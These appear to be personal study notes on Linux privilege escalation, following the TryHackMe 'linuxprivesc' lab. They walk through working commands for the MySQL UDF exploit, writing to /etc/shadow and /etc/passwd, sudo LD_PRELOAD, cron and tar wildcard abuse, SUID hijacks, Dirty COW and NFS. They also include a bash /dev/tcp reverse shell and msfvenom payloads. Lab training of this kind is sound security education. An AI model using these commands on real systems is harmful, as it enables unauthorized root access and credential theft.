# Linux - Privesc

## Service Exploits

The MySQL service is running as root and the "root" user for the service does not have a password assigned. We can use a [popular exploit](https://www.exploit-db.com/exploits/1518) that takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.

Change into the /home/user/tools/mysql-udf directory:

`cd /home/user/tools/mysql-udf`

Compile the raptor\_udf2.c exploit code using the following commands:

`gcc -g -c raptor_udf2.c -fPIC`\
`gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc`\\

Connect to the MySQL service as the root user with a blank password:

`mysql -u root`\\

Execute the following commands on the MySQL shell to create a User Defined Function (UDF) "do\_system" using our compiled exploit:

`use mysql;`\
`create table foo(line blob);`\
`insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));`\
`select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';`\
`create function do_system returns integer soname 'raptor_udf2.so';`

Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:

`select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');`

Exit out of the MySQL shell (type **exit** or **\q** and press **Enter**) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

`/tmp/rootbash -p`

**Remember to remove the /tmp/rootbash executable and exit out of the root shell before continuing as you will create this file again later in the room!**

`rm /tmp/rootbash`\
`exit`

The /etc/shadow file contains user password hashes and is usually readable only by the root user.

## Weak File Permissions - Readable /etc/shadow

Note that the /etc/shadow file on the VM is world-readable:

`ls -l /etc/shadow`

View the contents of the /etc/shadow file:

`cat /etc/shadow`

Each line of the file represents a user. A user's password hash (if they have one) can be found between the first and second colons (:) of each line.

Save the root user's hash to a file called hash.txt on your Kali VM and use john the ripper to crack it. You may have to unzip /usr/share/wordlists/rockyou.txt.gz first and run the command using sudo depending on your version of Kali:

`john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`

Switch to the root user, using the cracked password:

`su root`

## Weak File Permissions - Writable /etc/shadow

The /etc/shadow file contains user password hashes and is usually readable only by the root user.

Note that the /etc/shadow file on the VM is world-writable:

`ls -l /etc/shadow`

Generate a new password hash with a password of your choice:

`mkpasswd -m sha-512 newpasswordhere`\\

Edit the /etc/shadow file and replace the original root user's password hash with the one you just generated.

Switch to the root user, using the new password:

`su root`\\

## Weak File Permissions - Writable /etc/passwd

The /etc/passwd file contains information about user accounts. It is world-readable, but usually only writable by the root user. Historically, the /etc/passwd file contained user password hashes, and some versions of Linux will still allow password hashes to be stored there.

Note that the /etc/passwd file is world-writable:

`ls -l /etc/passwd`

Generate a new password hash with a password of your choice:

`openssl passwd newpasswordhere`

Edit the /etc/passwd file and place the generated password hash between the first and second colon (:) of the root user's row (replacing the "x").

Switch to the root user, using the new password:`su root`

Alternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").\\

Now switch to the newroot user, using the new password:

## Sudo - Shell Escape Sequences

List the programs which sudo allows your user to run:

`sudo -l`

Visit GTFOBins ([https://gtfobins.github.io](https://gtfobins.github.io/)) and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.

Choose a program from the list and try to gain a root shell, using the instructions from GTFOBins.

For an extra challenge, try to gain a root shell using all the programs on the list!

## Sudo - Environment Variables

Sudo can be configured to inherit certain environment variables from the user's environment.

Check which environment variables are inherited (look for the env\_keep options):

`sudo -l`

LD\_PRELOAD and LD\_LIBRARY\_PATH are both inherited from the user's environment. LD\_PRELOAD loads a shared object before any others when a program is run. LD\_LIBRARY\_PATH provides a list of directories where shared libraries are searched for first.

Create a shared object using the code located at /home/user/tools/sudo/preload.c:

`gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c`

Run one of the programs you are allowed to run via sudo (listed when running **sudo -l**), while setting the LD\_PRELOAD environment variable to the full path of the new shared object:

`sudo LD_PRELOAD=/tmp/preload.so program-name-here`

A root shell should spawn. Exit out of the shell before continuing. Depending on the program you chose, you may need to exit out of this as well.

Run ldd against the apache2 program file to see which shared libraries are used by the program:

`ldd /usr/sbin/apache2`

Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library\_path.c:

`gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c`

Run apache2 using sudo, while settings the LD\_LIBRARY\_PATH environment variable to /tmp (where we output the compiled shared object):

`sudo LD_LIBRARY_PATH=/tmp apache2`

A root shell should spawn. Exit out of the shell. Try renaming /tmp/libcrypt.so.1 to the name of another library used by apache2 and re-run apache2 using sudo again. Did it work? If not, try to figure out why not, and how the library\_path.c code could be changed to make it work.

## Cron Jobs - File Permissions

Cron jobs are programs or scripts which users can schedule to run at specific times or intervals. Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.

View the contents of the system-wide crontab:

`cat /etc/crontab`

There should be two cron jobs scheduled to run every minute. One runs overwrite.sh, the other runs /usr/local/bin/compress.sh.

Locate the full path of the overwrite.sh file:

`locate overwrite.sh`

Note that the file is world-writable:

`ls -l /usr/local/bin/overwrite.sh`

Replace the contents of the overwrite.sh file with the following after changing the IP address to that of your Kali box.

\#!/bin/bash\
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.

`nc -nvlp 4444`

Remember to exit out of the root shell and remove the reverse shell code before continuing!

## Cron Jobs - PATH Environment Variable

View the contents of the system-wide crontab:\\

`cat /etc/crontab`

Note that the PATH variable starts with **/home/user** which is our user's home directory.

Create a file called **overwrite.sh** in your home directory with the following contents:

\#!/bin/bash\
\
cp /bin/bash /tmp/rootbash\
chmod +xs /tmp/rootbash

Make sure that the file is executable:

`chmod +x /home/user/overwrite.sh`

Wait for the cron job to run (should not take longer than a minute). Run the /tmp/rootbash command with -p to gain a shell running with root privileges:

`/tmp/rootbash -p`

Remember to remove the modified code, remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!

`rm /tmp/rootbash`\
`exit`

## Cron Jobs - Wildcards

View the contents of the other cron job script:

`cat /usr/local/bin/compress.sh`

Note that the tar command is being run with a wildcard (\*) in your home directory.

Take a look at the GTFOBins page for [tar](https://gtfobins.github.io/gtfobins/tar/). Note that tar has command line options that let you run other commands as part of a checkpoint feature.

Use msfvenom on your Kali box to generate a reverse shell ELF binary. Update the LHOST IP address accordingly:

`msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf`

Transfer the shell.elf file to **/home/user/** on the Debian VM (you can use **scp** or host the file on a webserver on your Kali box and use **wget**). Make sure the file is executable:

`chmod +x /home/user/shell.elf`

Create these two files in /home/user:

`touch /home/user/--checkpoint=1`\
`touch /home/user/--checkpoint-action=exec=shell.elf`

When the tar command in the cron job runs, the wildcard (\*) will expand to include these files. Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames.

Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.\\

`nc -nvlp 4444`\\

Remember to exit out of the root shell and delete all the files you created to prevent the cron job from executing again:

`rm /home/user/shell.elf`\
`rm /home/user/--checkpoint=1`\
`rm /home/user/--checkpoint-action=exec=shell.elf`

## SUID / SGID Executables - Shared Object Injection

The **/usr/local/bin/suid-so** SUID executable is vulnerable to shared object injection.

First, execute the file and note that currently it displays a progress bar before exiting:

`/usr/local/bin/suid-so`\\

Run **strace** on the file and search the output for open/access calls and for "no such file" errors:

`strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"`

Note that the executable tries to load the /home/user/.config/libcalc.so shared object within our home directory, but it cannot be found.

Create the **.config** directory for the libcalc.so file:

`mkdir /home/user/.config`

Example shared object code can be found at **/home/user/tools/suid/libcalc.c**. It simply spawns a Bash shell. Compile the code into a shared object at the location the **suid-so** executable was looking for it:

`gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c`

Execute the **suid-so** executable again, and note that this time, instead of a progress bar, we get a root shell.

`/usr/local/bin/suid-so`

## SUID / SGID Executables - Environment Variables

The **/usr/local/bin/suid-env** executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

First, execute the file and note that it seems to be trying to start the apache2 webserver:

`/usr/local/bin/suid-env`

Run strings on the file to look for strings of printable characters:

`strings /usr/local/bin/suid-env`

One line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

Compile the code located at /home/user/tools/suid/service.c into an executable called service. This code simply spawns a Bash shell:

`gcc -o service /home/user/tools/suid/service.c`

Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:

`PATH=.:$PATH /usr/local/bin/suid-env`

## SUID / SGID Executables - Abusing Shell Features (#1)

The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.

Verify this with strings:

`strings /usr/local/bin/suid-env2`\\

In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

Verify the version of Bash installed on the Debian VM is less than 4.2-048:

`/bin/bash --version`

Create a Bash function with the name "/usr/sbin/service" that executes a new Bash shell (using -p so permissions are preserved) and export the function:

`function /usr/sbin/service { /bin/bash -p; }`\
`export -f /usr/sbin/service`

Run the suid-env2 executable to gain a root shell:

`/usr/local/bin/suid-env2`

## SUID / SGID Executables - Abusing Shell Features (#2)

Note: This will not work on Bash versions 4.4 and above.

When in debugging mode, Bash uses the environment variable **PS4** to display an extra prompt for debugging statements.\\

Run the **/usr/local/bin/suid-env2** executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

`env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2`

Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

`/tmp/rootbash -p`

Remember to remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!

`rm /tmp/rootbash`\
`exit`

## Passwords & Keys - History Files

If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.

View the contents of all the hidden history files in the user's home directory:

`cat ~/.*history | less`

Note that the user has tried to connect to a MySQL server at some point, using the "root" username and a password submitted via the command line. Note that there is no space between the -p option and the password!

Switch to the root user, using the password:

`su root`

## Passwords & Keys - Config Files

Config files often contain passwords in plaintext or other reversible formats.

List the contents of the user's home directory:

`ls /home/user`

Note the presence of a **myvpn.ovpn** config file. View the contents of the file:

`cat /home/user/myvpn.ovpn`

The file should contain a reference to another location where the root user's credentials can be found. Switch to the root user, using the credentials:

`su root`

## Passwords & Keys - SSH Keys

Sometimes users make backups of important files but fail to secure them with the correct permissions.

Look for hidden files & directories in the system root:

`ls -la /`

Note that there appears to be a hidden directory called **.ssh**. View the contents of the directory:

`ls -l /.ssh`

Note that there is a world-readable file called **root\_key**. Further inspection of this file should indicate it is a private SSH key. The name of the file suggests it is for the root user.

Copy the key over to your Kali box (it's easier to just view the contents of the **root\_key** file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it:

`chmod 600 root_key`

Use the key to login to the Debian VM as the root account (change the IP accordingly):

`ssh -i root_key root@10.10.10.10`

## `NFS`

Files created via NFS inherit the **remote** user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

Check the NFS share configuration on the Debian VM:

`cat /etc/exports`

Note that the **/tmp** share has root squashing disabled.

On your Kali box, switch to your root user if you are not already running as root:

`sudo su`

Using Kali's root user, create a mount point on your Kali box and mount the **/tmp** share (update the IP accordingly):

`mkdir /tmp/nfs`\
`mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs`

Still using Kali's root user, generate a payload using **msfvenom** and save it to the mounted share (this payload simply calls /bin/bash):

`msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf`

Still using Kali's root user, make the file executable and set the SUID permission:

`chmod +xs /tmp/nfs/shell.elf`

Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:

`/tmp/shell.elf`

## Kernel Exploits

Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.

Run the **Linux Exploit Suggester 2** tool to identify potential kernel exploits on the current system:

`perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl`

The popular Linux kernel exploit "Dirty COW" should be listed. Exploit code for Dirty COW can be found at **/home/user/tools/kernel-exploits/dirtycow/c0w\.c**. It replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).

Compile the code and run it (note that it may take several minutes to complete):

`gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w`\
`./c0w`

Once the exploit completes, run /usr/bin/passwd to gain a root shell:

`/usr/bin/passwd`

Remember to restore the original **/usr/bin/passwd** file and exit the root shell before continuing!

`mv /tmp/bak /usr/bin/passwd`\
`exit`

## Find Command

Find SUID files

`find / -perm -u=s -type f 2>/dev/null`

Check gtfobins.github.io to see how to exploit them.

Find files by group users\
`find / -group users 2>/dev/null`

File capabilities

`getcap -r / 2>/dev/null`

## Snapd

Ubuntu comes with snapd by default, but any distribution should be exploitable if they have this package installed. You can easily check if your system is vulnerable. Run the command below. If your snapd is 2.37.1 or newer, you are safe.&#x20;

`snap version`

## PATH Variable

PATH is an environmental variable in Linux and Unix-like operating systems which specifies all bin and sbin directories that hold all executable programs are stored. When the user run any command on the terminal, its request to the shell to search for executable files with the help of PATH Variable in response to commands executed by a user. The superuser also usually has /sbin and /usr/sbin entries for easily executing system administration commands.

`export PATH=/tmp:$PATH`&#x20;

`echo $PATH`

Example:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbxwrjdAeD3Z_ZttcF7%2F-Mbxx80LMqDV_rank199%2Fimage.png?alt=media\&token=9c5bae05-1aa7-4643-8ff5-2998de53cc75)

## Privilege Escalation Scripts

* Linpeas
* Linenum
* Linux exploit suggester

## Resources

{% embed url="<https://tryhackme.com/room/linuxprivesc>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md>" %}
